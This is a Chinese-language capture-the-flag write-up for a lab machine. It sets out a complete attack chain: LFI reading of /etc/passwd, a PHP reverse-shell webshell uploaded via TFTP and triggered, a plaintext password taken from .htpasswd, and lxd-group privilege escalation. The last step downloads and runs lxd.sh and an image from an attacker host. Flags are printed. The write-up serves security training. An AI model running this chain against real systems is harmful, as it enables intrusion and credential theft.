[StartingPoint][Tier2]Included
字数 988 2025-08-19 12:42:36
LXD 特权提升漏洞利用教学文档
1. 目标系统侦察
1.1 UDP 服务识别
目标机器上运行着 TFTP (Trivial File Transfer Protocol) 服务,使用 UDP 69 端口:
nmap -sU 10.129.232.86 -p 69
1.2 Web 服务漏洞识别
端口 80 上的网页存在本地文件包含 (Local File Inclusion, LFI) 漏洞:
nmap -sC -sV 10.129.232.86 --min-rate 1000
curl http://10.129.232.86/?file=/etc/passwd
2. TFTP 服务利用
2.1 TFTP 默认目录
TFTP 默认存储文件的系统目录:
/var/lib/tftpboot/
2.2 利用 LFI 上传 Webshell
- 准备 PHP 反弹 shell 脚本 (webshell.php)
- 通过 TFTP 上传 webshell:
tftp 10.129.226.19
tftp> put webshell.php
- 验证上传成功:
curl http://10.129.226.19/?file=php://filter/read=convert.base64-encode/resource=/var/lib/tftpboot/webshell.php|base64 -d
- 触发反弹 shell:
curl 'http://10.129.226.19/?file=/var/lib/tftpboot/webshell.php'
3. 横向移动
3.1 发现敏感文件
在 web 服务器目录中发现可用于横向移动的文件:
ls -al /var/www/html
.htpasswd
3.2 提升 shell 交互性
SHELL=/bin/bash script -q /dev/null
3.3 查看凭据文件
cat /var/www/html/.htpasswd
3.4 切换用户
使用发现的凭据切换至 mike 用户:
su mike
密码:Sheffield19
4. LXD 特权提升
4.1 用户组信息
用户 mike 属于 lxd 组,可用于特权提升:
groups mike
4.2 利用 Alpine 镜像
用于容器攻击的小型 Linux 发行版:
alpine
4.3 准备攻击环境
- 本地构建 Alpine 镜像:
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
chmod a+x build-alpine
sudo ./build-alpine
- 启动 HTTP 服务器共享镜像:
python3 -m http.server 80
- 在目标机器上下载攻击脚本和镜像:
cd /tmp
wget http://10.10.16.7/exp.tar.gz
wget http://10.10.16.7/lxd.sh
chmod a+x lxd.sh
./lxd.sh -f exp.tar.gz
4.4 关键特权标志
设置容器拥有主机 root 权限的关键标志:
security.privileged=true
5. 获取 Flag
5.1 用户 Flag
find / -name user.txt 2>/dev/null
cat /home/mike/user.txt
用户 Flag: a56ef91d70cfbf2cdb8f454c006935a1
5.2 根 Flag
当主机文件系统挂载在容器的 /mnt 目录时:
find / -name root.txt
cat /mnt/root/root/root.txt
根 Flag: c693d9c7499d9f572ee375d4c14c7bcf
技术要点总结
- LFI 漏洞利用:通过文件包含漏洞读取系统文件和上传 webshell
- TFTP 匿名上传:利用 TFTP 无需认证的特性上传恶意文件
- LXD 组特权提升:利用 lxd 组成员身份创建特权容器
- Alpine 镜像利用:使用轻量级 Alpine 镜像快速构建攻击环境
- 特权容器挂载:通过 security.privileged=true 获取主机 root 权限
整个攻击链展示了从初始侦察到最终特权提升的完整过程,重点在于利用多个服务的配置缺陷和权限设计问题实现逐步提权。